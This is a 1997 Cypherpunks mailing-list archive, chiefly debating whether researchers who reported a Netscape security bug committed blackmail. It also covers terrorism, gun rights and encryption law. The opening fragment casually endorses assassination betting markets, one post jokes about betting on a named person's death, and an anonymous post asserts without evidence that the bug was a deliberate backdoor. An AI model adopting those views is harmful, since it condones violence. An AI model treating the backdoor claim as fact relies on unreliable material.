democratised the process of assasination, as I have said I favour the 
probable outcome of a more direct contract system, but whether I did or 
not it is my decision who I accept bets on. If I choose to only accept 
bets on innocent children and old ladies, that is my own decision on my 
own property. Business suceeds through reputation, remember the basic 
principles of the free market...

> Also, how do you tell the difference between an 'evil' and 'innocent'
> DEA cop?

ROFL, the very notion of an innocent DEA cop is a joke...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 16 Jun 1997 05:05:56 +0800
To: "David E. Smith" <dave@bureau42.ml.org>
Subject: Re: Impact of Netscape kernel hole
Message-ID: <1.5.4.32.19970615204748.006ecaac@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Dave Smith wrote:

>I still have a copy of MCOM/Netscape Navigator 0.94 around... does the
>bug exist this far back, or am I going to have to start using Cello,
>or something equally obscure?

Dave suggests the key to Netscape's Andreesen's amazing trajectory 
from lab rat gizmoid to market leader, while others languish uncompensated,
at least just yet. 

It's Mark's changeable feature for peeking and tracking, approved by law for 
orderly commerce. "Bugs bounty" is the make light of it charade, while
"bug" is the venerable hardware name.

Find the first few, sure, that's for easy diversion, find those somewhat
deeper, those're for sweeping by the seasoned pros. Then there are those 
that are never found, the ones that always tell what's needed to know in 
national emergency but can never be revealed.

Perhaps any day now MS and NSCP will morph to push browser GAK, 
claiming that public privacy and secure commerce demand protection from 
cyber-terrorists. 

That's the theme, hey, hey, of the Denver meet of global leaders on 
June 20. Could it be that that's what the Silicon chiefs went to DC to plan 
last week while speechifying contrarily to CNN, C-SPAN and Declan.

Surely, though, bountifully trusty PGP is not party to this G-10 globalization 
of crippled crypto, or at least not its Chief Technology Officer, right?

BTW, Declan's spin on national affairs is starting to smell of pontification
to the
masses, classis sign of "if only you knew what I've been let in on."
Shimomuraism,
that, empty data.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Mon, 16 Jun 1997 09:41:40 +0800
To: cypherpunks@cyberpass.net
Subject: Re: We need more surveillance--a morality play about terrorism
Message-ID: <33A482AC.3C0E@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Tim May <tcmay@got.net> wrote:

> I've been watching an HBO movie, "Path to Paradise," about the
> bombing of the World Trade Center in February 1993. It's quite
> well-done, as most HBO movies of this sort are.

Maybe I'll get a TV one of these days. Nah.

> * "You mean Islamic radicals are free to preach their message of
> hate and violence? Unbelievable!" (This is a paraphrase...there
> were several such opinions expressed, where FBI managers express
> outrage that such things are permitted in the U.S.)

I can't even imagine anyone in the FBI saying anything like that. In
the National Security (tm) establishment and local police forces,
yes, but the FBI is pretty professional, and has heard of the First
Amendment. In this case, though, there was the additional issue of
Rachman being an illegal alien. (I'm not a big fan of border controls
of any kind, but I do consider political hostility to the US to be a
legitimate reason for a state to bar someone from entry and residence.
Bleeding hearts aside, poverty and lack of language and job skills
are also legitimate reasons to bar people at the golden door.)

It's fashionable to romanticize the enemy as big national or
supranational thugs, but in reality the corrupt local cop is the
bigger civil liberties threat to most normal people.

On the "other side":

Look, more people died from car accidents in the last 12 days than
died in the bombing of the Murrah Federal Building, and far fewer
still (or was it nobody?) died in the World Trade Center. By the
numbers, terrorism just doesn't deserve the press coverage it gets.
McVeigh would have done better if he'd started an automobile factory.
It worked for Henry Ford; how many copies of The International Jew
and The Protocols of the Elders of Zion did he print with the money
he made, and how long did respectable antisemitism delay the US entry
into WWII? Food for thought. If you really want to influence people
over the long term, make money, not bombs. William Pierce is on the
wrong track.

> * The niceties of getting wiretap orders were treated as ways to
> coddle criminals.

This does happen, and bugs me (so to speak).

> --Tim May, who's sorry he missed the display of firepower at the
> physical meeting today

One of these days I'll make it to the firing range.

You also missed a revealing story over dinner, which probably meant
something different to me than the storyteller intended, but there
it is.

A guy on the way to the shooting range is pulled over for speeding.
The cop notices the guns, orders him out of the car, and asks where
he's going. He answers, "Let me explain the way I think this country
works. I am going wherever I damn well please." So the cop gives him
a speeding ticket, and he continues on his way.

Now tell me, is this evidence that we're living in a police state?

Of course it probably helped that the guy was white, and probably
driving a "decent" car, and carrying "decent" guns and not some
"Saturday Night Special." But still, I don't see the totalitarianism.

While it wasn't covered in human rights school, I don't think the
FBI should sit idly by and let terrorists sponsored by the government
of Iran blow people up, either. And so they didn't sit idly by. They
waited for probable cause. And lost one. Oops. A few random bombings
seems a reasonable price to pay for all our freedoms, though,
especially since it probably couldn't have been prevented in the
first place.

But by all means, keep the paranoia coming. That's what keeps this
country more or less free. Far better to have frogs hopping wild and
free (as God designed them) than sitting in the pot talking about
how nice and warm the water is. Just don't lose it so badly that you
start endorsing the bombing of the World Trade Center and the Murrah
Federal Building, please.

- -rich
 http://www.stanford.edu/~llurch/

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQBVAwUBM6SCkJNcNyVVy0jxAQFWvAH/U8KiLVrrtq/NNSOzJWGPJuP2n7wM/6oU
KvymiZkTRqMS+5WLY5WTomnVCgKcc0IQ9eMDFO0UgJf5vI28YE2VtQ==
=EP88
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Mon, 16 Jun 1997 08:31:42 +0800
To: Tim May <tcmay@got.net>
Subject: Re: e$: Skins vs. Shirts
In-Reply-To: <v03020931afc8ee48fc8f@[139.167.130.246]>
Message-ID: <33A484BE.A14E05F6@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> At 1:26 AM -0700 6/15/97, Tom Weinstein wrote:
> 
>> Just to be clear, we didn't give the blackmailer any money.  As Mike
>> Homer put it: "We don't bargain with terrorists."
> 
> Netscape wants money for one of their products. I won't give them
> money. "I don't bargain with terrorists."
> 
> (What the Danes offered was a straight buiness deal, albeit made
> weirder and more frantic by the constraints of time, publicity, and
> worldwide attention. Still a business deal, though. When Collabra
> wanted X dollars to be acquired by Netscape, was this also
> "terrorism"? The term "terrorist" hardly applies in business deals.)

If it was just a business deal, that would be okay.  We would have a
right to not pay him.  It becomes blackmail when he says "If you don't
pay me, I will try to damage you."  That's what he did.  He said that
if we didn't pay him, he'd time his press announcement to coincide with
DevCon in order to cause us the maximum damage, which he did.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Mon, 16 Jun 1997 08:29:02 +0800
To: dsmith@prairienet.org
Subject: Re: Impact of Netscape kernel hole
In-Reply-To: <Pine.LNX.3.96.970615133246.1608A-100000@bureau42.ml.org>
Message-ID: <33A48666.19B0BE93@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



David E. Smith wrote:
> 
> I still have a copy of MCOM/Netscape Navigator 0.94 around... does the
> bug exist this far back, or am I going to have to start using Cello,
> or something equally obscure?

That version is safe.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 16 Jun 1997 05:52:44 +0800
To: John Young <jya@pipeline.com>
Subject: Re: Impact of Netscape kernel hole
In-Reply-To: <1.5.4.32.19970615204748.006ecaac@pop.pipeline.com>
Message-ID: <Pine.GSO.3.95.970615172709.19288B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain




On Sun, 15 Jun 1997, John Young wrote:

> That's the theme, hey, hey, of the Denver meet of global leaders on 
> June 20. Could it be that that's what the Silicon chiefs went to DC to plan 
> last week while speechifying contrarily to CNN, C-SPAN and Declan.
> 
> Surely, though, bountifully trusty PGP is not party to this G-10 globalization 
> of crippled crypto, or at least not its Chief Technology Officer, right?
> 
> BTW, Declan's spin on national affairs is starting to smell of pontification
> to the
> masses, classis sign of "if only you knew what I've been let in on."
> Shimomuraism,
> that, empty data.

Really? Can you point to examples? I certainly don't mean to be.

Though I do learn a lot of things I can't write about directly. I had
dinner last week with a senior White House official and an FTC
commissioner and a bunch of other folks. The condition of the invite was
not reporting on what was discussed. Yesterday I spent the afternoon with
folks including a Supreme Court clerk and a Federal judge. Friday evening
I went to a party with a bunch of Republican heavyweights where we talked
about what the Senate leadership is doing with the crypto bills.

If I come across as arrogant or stand-offish, call me on it. But, geez, I
cover this stuff full-time and then some. Sometimes I *do* know stuff that
isn't public. If it's interesting enough, I pursue it, verify it with
folks who can talk on the record, and then write about it.

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Mon, 16 Jun 1997 09:39:59 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Blackmail / Re: e$: Skins vs. Shirts
In-Reply-To: <199706151846.OAA09246@dhp.com>
Message-ID: <v03102801afca3d040d16@[17.128.200.108]>
MIME-Version: 1.0
Content-Type: text/plain



An anonymous correspondant writes about the recent Netscape bug:
>
>  If the people who discovered the flaw had wanted they could have
>chosen to sell their knowledge to Microsoft for probably a very
>substantial sum.
>

I would respectfully maintain that reputable companies (including
Microsoft) do not work this way. If you tell me about a bug in
a Microsoft product, I'll pass it on to Microsoft immediately;
and I know, from personal experience, that Microsoft employees
work in the same way.

Martin Minow
Apple Computer Inc.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 16 Jun 1997 12:29:08 +0800
To: Kent Crispin <cypherpunks@toad.com
Subject: Re: Do reporters have special rights the rest of us don't have?
In-Reply-To: <19970613201551.40314@bywater.songbird.com>
Message-ID: <v03102809afca3c163c42@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>It does *not* say "the right of an *individual* to keep and bear arms
>shall not be infringed.  It says "the people", a collective term.  It
>references a *well-regulated* militia.

Subsequent court rulings have left somewhat unclear the meaning of
"well-regulated militia".  At the present this appears to mean citizens, in
general.

>Therefore my interpretation is that according to the constitution,
>there is a broad right for the population to own guns, but that right
>is fundamentally justified through "the security of a free State".
>Use of arms contrary to the security of the state is not justified
>through the second amendment, nor does the second amendment prohibit
>congress or the states from controlling such unjustified use of arms.

I can't agree with "the security of a free State" aspect.  A higher
priority among the signers and states than "the security of a free State"
was freedom.  It was recognized, in the Declaration of Independance, that
it was the people's right to replace government (even through force of
arms) when they felt it had come to tyranny in order ot maintain freedom.

Unjustified to whom?  The State?  How can the state be the best judge of
what is in the best interests of the people in maintaining their freedom?
Seems the State has a conflict of interest and should recuse itself on this
issue.

--Ste5e






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 16 Jun 1997 09:27:46 +0800
To: Tom Weinstein <tomw@netscape.com>
Subject: Homer on Terrorism
In-Reply-To: <v03020931afc8ee48fc8f@[139.167.130.246]>
Message-ID: <v03102803afca3d1a5715@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:11 PM -0700 6/15/97, Tom Weinstein wrote:
>Tim May wrote:

>> (What the Danes offered was a straight buiness deal, albeit made
>> weirder and more frantic by the constraints of time, publicity, and
>> worldwide attention. Still a business deal, though. When Collabra
>> wanted X dollars to be acquired by Netscape, was this also
>> "terrorism"? The term "terrorist" hardly applies in business deals.)
>
>If it was just a business deal, that would be okay.  We would have a
>right to not pay him.  It becomes blackmail when he says "If you don't
>pay me, I will try to damage you."  That's what he did.  He said that
>if we didn't pay him, he'd time his press announcement to coincide with
>DevCon in order to cause us the maximum damage, which he did.

It's still not "terrorism." Just ordinary high-pressure bargaining, as when
a film star holds out to the last minute on a deal, knowing her value
increases as the deadline approaches.

Or scads of similar examples, as when Netscape or Microsoft time their
announcements for maximum impact.

One can imagine people approaching a company with reports of a bug--as a
certain math professor approached a certain chip company with reports of a
strange FDIV problem--and being given the polite runaround. "Thank you for
sharing. We'll have one of our QA engineers look into your report and maybe
he'll get back to you."

(I have no idea if Netscape reacted in this way, but I can imagine that the
flow of bug reports may cause many to linger in the "In" baskets without
action.)

By reporting the bug to PC Magazine and CNN-FN, the "value" of the bug
information shot up rather dramatically. The Arrhus team may not have
gotten any bucks from Netscape--and may not even get a free "Bugs Bounty"
sweatshirt--but their consulting rates and business have probably both gone
up.

Browsers are big business, and high stakes poker. It's not surprising to me
to see this kind of bluffing and "terorrism" (to quote Homer, with his
rosy-fingered typing). What's surprising is that it hasn't happened more
often, or at least hasn't gotten as much publicity.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Mon, 16 Jun 1997 10:13:46 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Homer on Terrorism
In-Reply-To: <v03020931afc8ee48fc8f@[139.167.130.246]>
Message-ID: <33A49D42.49741BF5@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> At 5:11 PM -0700 6/15/97, Tom Weinstein wrote:
>> Tim May wrote:
> 
>>> (What the Danes offered was a straight buiness deal, albeit made
>>> weirder and more frantic by the constraints of time, publicity, and
>>> worldwide attention. Still a business deal, though. When Collabra
>>> wanted X dollars to be acquired by Netscape, was this also
>>> "terrorism"? The term "terrorist" hardly applies in business
>>> deals.)
>>
>> If it was just a business deal, that would be okay.  We would have a
>> right to not pay him.  It becomes blackmail when he says "If you
>> don't pay me, I will try to damage you."  That's what he did.  He
>> said that if we didn't pay him, he'd time his press announcement to
>> coincide with DevCon in order to cause us the maximum damage, which
>> he did.
> 
> It's still not "terrorism." Just ordinary high-pressure bargaining, as
> when a film star holds out to the last minute on a deal, knowing her
> value increases as the deadline approaches.

It's blackmail.  IANAL, but I believe that blackmail consists of a
demand, and a threat to harm if the demand is not met.

If he had said:
  "I'm going to go to the press on this date.  You can buy the
   information from me before that for X amount of money."

That would be an ordinary business transaction.  Instead, what he said
was something like:
  "Pay me lots of money or I will go to the press in such a way as to
   damage you the most."

That is blackmail.  It's clear that the money is to prevent the damage,
not just for the information.

> Or scads of similar examples, as when Netscape or Microsoft time their
> announcements for maximum impact.
>
> One can imagine people approaching a company with reports of a bug--as
> a certain math professor approached a certain chip company with
> reports of a strange FDIV problem--and being given the polite
> runaround. "Thank you for sharing. We'll have one of our QA engineers
> look into your report and maybe he'll get back to you."
> 
> (I have no idea if Netscape reacted in this way, but I can imagine
> that the flow of bug reports may cause many to linger in the "In"
> baskets without action.)

As a matter of fact, we responded to him very quickly.  The day after
we heard from him we had a phone call where Jeff Weinstein, Jim Roskind
(Java security), and I were present.  We gave it serious attention as
we do with all security holes.

> By reporting the bug to PC Magazine and CNN-FN, the "value" of the bug
> information shot up rather dramatically. The Arrhus team may not have
> gotten any bucks from Netscape--and may not even get a free "Bugs
> Bounty" sweatshirt--but their consulting rates and business have
> probably both gone up.

He reported it to CNN because he was following through on his threat
when we refused to pay him not to.

> Browsers are big business, and high stakes poker. It's not surprising
> to me to see this kind of bluffing and "terorrism" (to quote Homer,
> with his rosy-fingered typing). What's surprising is that it hasn't
> happened more often, or at least hasn't gotten as much publicity.

"Terrorism" probably doesn't apply, since his aim was not political.
(Or doesn't terrorism have to be political?) I think blackmail is a
more appropriate term.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 16 Jun 1997 10:49:02 +0800
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: Homer on Terrorism
In-Reply-To: <v03020931afc8ee48fc8f@[139.167.130.246]>
Message-ID: <v03102804afca53b9a795@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



Fair enough. I'm prepared, on the basis of Tom's comments, to accept that
the Danish bug-finders were "blackmailers," albeit of the weakest,
noncriminal sort. (Nobody is suggesting criminal prosecution, extradition,
etc., are they?) But I think the "terrorist" appelation is a bit strong.


At 6:56 PM -0700 6/15/97, Tom Weinstein wrote:

>It's blackmail.  IANAL, but I believe that blackmail consists of a
>demand, and a threat to harm if the demand is not met.

(However, a "threat to harm" is ambiguous. Many business deals involve
mentions of consequences...at what point does this become "blackmail,"
especially the criminal sense of blackmail?)




>If he had said:
>  "I'm going to go to the press on this date.  You can buy the
>   information from me before that for X amount of money."
>
>That would be an ordinary business transaction.  Instead, what he said
>was something like:
>  "Pay me lots of money or I will go to the press in such a way as to
>   damage you the most."
>
>That is blackmail.  It's clear that the money is to prevent the damage,
>not just for the information.

Perhaps so, but things remain ambiguous. More skilled negotiators might be
more circumspect about the "damage" side, only hinting at it. I don't know
if the Danes were clumsy at conveying their intentions. Maybe English was
not their forte.


>"Terrorism" probably doesn't apply, since his aim was not political.
>(Or doesn't terrorism have to be political?) I think blackmail is a
>more appropriate term.

Like I said, but I still think a less inflammatory description than
"terrorist," or even "blackmailer" is better.

There's probably something between "cheerful Berkeley grad students
grateful to get a free t-shirt" and "blackmailer."

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 16 Jun 1997 12:21:55 +0800
To: "Shabbir J. Safdar" <shabbir@vtw.org>
Subject: Current wording of SAFE criminal use provision
In-Reply-To: <v03102802afca1427da78@[10.0.2.15]>
Message-ID: <v03102801afca57bebbaa@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>From Thomas:
http://rs9.loc.gov/cgi-bin/cpquery105/1?cp105:./temp/~cp105mvbg:e7198

--begin
Sec. 2805. Unlawful use of encryption in furtherance of a criminal act

       `Any person who, in the commission of a felony under a criminal
statute of the United States, knowingly and willfully encrypts
incriminating communications or information relating to that felony with
the intent to conceal such communications or information for the purpose of
avoiding detection by law enforcement agencies or prosecution--

	`(1) in the case of a first offense under this section, shall be
imprisoned for not more than 5 years, or
              fined
	in the amount set forth in this title, or both; and

              `(2) in the case of a second or subsequent offense under this
section, shall be imprisoned for not more
	than 10 years, or fined in the amount set forth in this title, or
both.'.

--end

--Ste5e






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Mon, 16 Jun 1997 08:30:28 +0800
To: cypherpunks@Algebra.COM
Subject: online-gamb.htm
Message-ID: <199706160030.UAA03038@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain




   interactiveJumpstart Spotlight [1]Phillips Publishing International,
   Inc.
   
Online Gambling Exec Praises Shutdown of Gaming Site

   courtesy: Multimedia Wire
   
   The chairman of an online gambling industry ethics panel praised the
   effort of the Maryland attorney general to close down a gambling Web
   site as an early move to regulate the fledgling online casino
   industry.
   
   Attorney General J. Joseph Curran issued a cease-and-desist order
   against RealTIME Prizes Network for running Prizes.com, a site that
   offers a variety of pay-for-play sweepstakes through customers' credit
   cards or through CyberCash.
   
   Online gambling can be done legally and legitimately, but only by
   working with government regulators, said Kendell Lang, chairman of an
   Interactive Services Association panel devising ethics for online
   casino operators and CEO of CasinoWorld Holdings. RealTIME has "flown
   in the face of regulators and gives the industry a bad name," Lang
   said. "We want to support the attorneys general of each and every
   state to get control of the situation."
   
   Curran targeted RealTIME because its operations are in Silver Spring,
   Md., a spokesman said. The attorney general could take additional
   action if RealTIME were to move to another state and accept business
   from Maryland residents, he added.
   
   Despite the desist order, Prizes.com was still operational yesterday.
   RealTIME was not immediately available for comment.
   
       [2]Home | [3]Free Email Newsletters | [4]Membership Invitation
           [5]Daily Hot News | [6]Marketing & Research | [7]Deals
           [8]Spotlight | [9]Developers Corner | [10]Classifieds
     _________________________________________________________________
   
   (c) Copyrighted material 1997. It is unlawful to copy, reproduce or
   retransmit in any medium or format without written permission from
   Phillips Business Information, Inc.

References

   1. http://www.phillips.com/
   2. http://www.ijumpstart.com/
   3. http://www.ijumpstart.com/freee.htm
   4. http://www.ijumpstart.com/membrinv.htm
   5. http://www.ijumpstart.com/hotnews.htm
   6. http://www.ijumpstart.com/mkt_rsch.htm
   7. http://www.ijumpstart.com/deals.htm
   8. http://www.ijumpstart.com/spotlite.htm
   9. http://www.ijumpstart.com/developr.htm
  10. http://www.ijumpstart.com/class.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 16 Jun 1997 12:18:58 +0800
To: cypherpunks@toad.com
Subject: Re: Homer on Terrorism
Message-ID: <199706160400.VAA09858@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Tom Weinstein wrote:
> Tim May wrote:
> > Tom Weinstein wrote:
> >> Tim May wrote:
> >
> >>> (What the Danes offered was a straight buiness deal, albeit made
> >>> weirder and more frantic by the constraints of time, publicity, and
> >>> worldwide attention. Still a business deal, though.)

> what he said
> was something like:
>   "Pay me lots of money or I will go to the press in such a way as to
>    damage you the most."
> 
> That is blackmail.  It's clear that the money is to prevent the damage,
> not just for the information.

  This happens every day in major-league business ballparks. Information
--> is power is --> money. Usually the word "blackmail" surfaces when
one
company takes a shit-kicking from the other company.

  Methinks the reason the word "blackmail" so easily springs to the
lips of Netscape exec's is that they know they got caught with their
pants down.
  They designed their code so that they or John Law could put their
dicks in our hard drives and wiggle them around and now they are
accusing the guy who has "pictures" of their guilt of doing something
dirty.

  Although Netscape is claiming the "high ground" by saying they
don't pay "blackmail," I think it is much more likely that they
didn't need to *pay* for the information because they already
*knew* exactly what the other company had discovered.
  Netscape calls their upcoming patch a "bug fix" when, in reality,
it is the disabling of a "secret feature." Thus I wouldn't be too
quick to accept their definition of "blackmail."

> > Browsers are big business, and high stakes poker. It's not surprising
> > to me to see this kind of bluffing and "terorrism" (to quote Homer,
> > with his rosy-fingered typing). What's surprising is that it hasn't
> > happened more often, or at least hasn't gotten as much publicity.

  It probably doesn't get reported very often because a company
usually doesn't have foreknowledge of the problem (i.e. it is a
genuine "bug" in their product) and thus it is in their best
interest to pay to find out the specifics of the problem.
  When you're innocent of wrongdoing, it's called a business
negotiation. When you're guilty of wrongdoing, its called
blackmail?
  So if Tom Weinstein calls it blackmail, then I guess that pretty
much indicates Netscape's position in regard to their browser's
ability to be used to compromise the user's privacy and security.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 16 Jun 1997 12:48:06 +0800
To: cypherpunks@toad.com
Subject: 2nd New Netscape Bug Reported
Message-ID: <199706160428.VAA10418@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



[Routers--Moose Jaw, Saskatchewan]
June 17, 1997

Bellgate or Bill Gates?
   by Declan McCypherpunk

  A wanna-be programmer in this small Canadian town stumbled upon an
undocumented feature in the Netscape browser which allows the user to
place a bet on the date of death of computer magnate Bill Gates.
  While early reports are sketchy, it appears that the scheme involves
Tom Weinstein, Ed McMahon and the cypherpunks remailer system.

  When approached by Kookie Roberts for comment, Tom Weinstein loudly
proclaimed, "I don't even know Jim Bell, honest."
  When Kookie Roberts asked Weinstein who the hell Jim Bell was, he
quickly muttered, "Never mind..."

  Ed McMahon would only say that on September 4th, some lucky winner
would be receiving an anonymous digicash transaction from him.
  When pressed for details about the date, McMahon's face flushed a
bright red and he quickly exited the scene, accompanied by men with
Italian names, and a former CIA PR representative explained that what
McMahon "meant to say" was "no comment."

  Unsubtatiated rumors also indicate that if the netscape.exe file is
printed out as a .gif file, that it pictures a layout of Microsoft
Corporate headquarters and the Gates estate.
  When asked for a response to the announcement of the new revelations
a Microsoft spokesperson cryptically replied, "Anyone who bet on Bill
Gates dying on September 4th ain't gonna win shit." When pressed as to
whether he personally used the Netscape browser, the MS spokesperson
only grinned and winked.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 16 Jun 1997 18:53:22 +0800
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: Key Ass-crow
In-Reply-To: <199706151816.OAA05838@dhp.com>
Message-ID: <Pine.LNX.3.91.970615215541.2585B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




>   Kind of like trusting a friend not to bugger you while you are
> drunk and passed out. (But he can't prevent the police from hauling
> you in for public intoxication and locking you up with someone who
> might do so.)

Yes, reminds me of last night, I fortunately escaped being buggered however.

>   This is much like having a Dominatrix who chains you to the toilet
> and brings out a mixed bag of utensils and instruments which are about
> to be used for purposes that are a far cry from what they were created
> for, and to access areas that Nature never intended to be subjected to
> large amounts of sunshine.

Yes, a notable change of style, fuckmonger perhaps?

>   Perhaps someone should come out with a GAK T-shirt which has a
> citizen "assuming the position" while a GAK cop stands behind him
> with a crowbar stuck halfway up the citizen's ass, and saying,
> "If you don't have anything to hide, then you have nothing to
> worry about."

This has given me an idea. I think I will have just such a T-Shirt made 
up "GAK: Government access to Krevices ;-)"
You never know what one of those nasty terrorists has stuck up their ass.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 16 Jun 1997 10:43:07 +0800
To: cypherpunks@toad.com
Subject: Re: eDrugs / Re: e$: Skins vs. Shirts
In-Reply-To: <199706151830.OAA07797@dhp.com>
Message-ID: <v03020952afca5036048b@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:30 pm -0400 on 6/15/97, lucifer Anonymous Remailer wrote:


>   So...did you bring enough for everybody?

Nope. Only the metabolites in my poor liver left. Hey. I wonder if what
they say about losing weight and flashing back is true...

itsonlyamovieitsonlyamovieitsonlyamovieitsonlyamovieitsonlyamovieitsonlyamovieit
sonlyamovieitsonlyamovieitsonlyamovie...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Mon, 16 Jun 1997 10:37:30 +0800
To: tomw@netscape.com (Tom Weinstein)
Subject: Re: Homer on Terrorism
In-Reply-To: <33A49D42.49741BF5@netscape.com>
Message-ID: <199706160215.WAA17222@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



	Since this list has bred a lot of security consultants, I'll
comment on the business practices here.

	Sending a company a bill for doing work they didn't agree to
in advance is wrong.  I've spent substantial amounts of time finding
and documenting bugs in various products.  Some of its public, a lot
is not.  In most every event, the handshake and thank you has led to
consulting work for the company.

	If I show up with a bill in hand, thats not the right way to
start a business relationship.  So, questions of blackmail aside, its
plain bad practice.   I'll note that the company in Denmark is not a
well known one, nor is the name one that I've seen, so there are
questions of if the individual is using their true name or not while
chasing the money.  If they are not, it may be because they feel that
this sort of business practice is one they'd like to disassociate
themselves from.

Adam

Tom Weinstein wrote:

| > One can imagine people approaching a company with reports of a bug--as
| > a certain math professor approached a certain chip company with
| > reports of a strange FDIV problem--and being given the polite
| > runaround. "Thank you for sharing. We'll have one of our QA engineers
| > look into your report and maybe he'll get back to you."
| > 
| > (I have no idea if Netscape reacted in this way, but I can imagine
| > that the flow of bug reports may cause many to linger in the "In"
| > baskets without action.)
| 
| As a matter of fact, we responded to him very quickly.  The day after
| we heard from him we had a phone call where Jeff Weinstein, Jim Roskind
| (Java security), and I were present.  We gave it serious attention as
| we do with all security holes.


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 16 Jun 1997 12:24:02 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Declan as a Budding Washington Insider
In-Reply-To: <v03102801afca23e96bf3@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970615232644.25854A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim is right to raise these points. In fact I've talked about "DC
insiderism" with him and here on the list in the past.

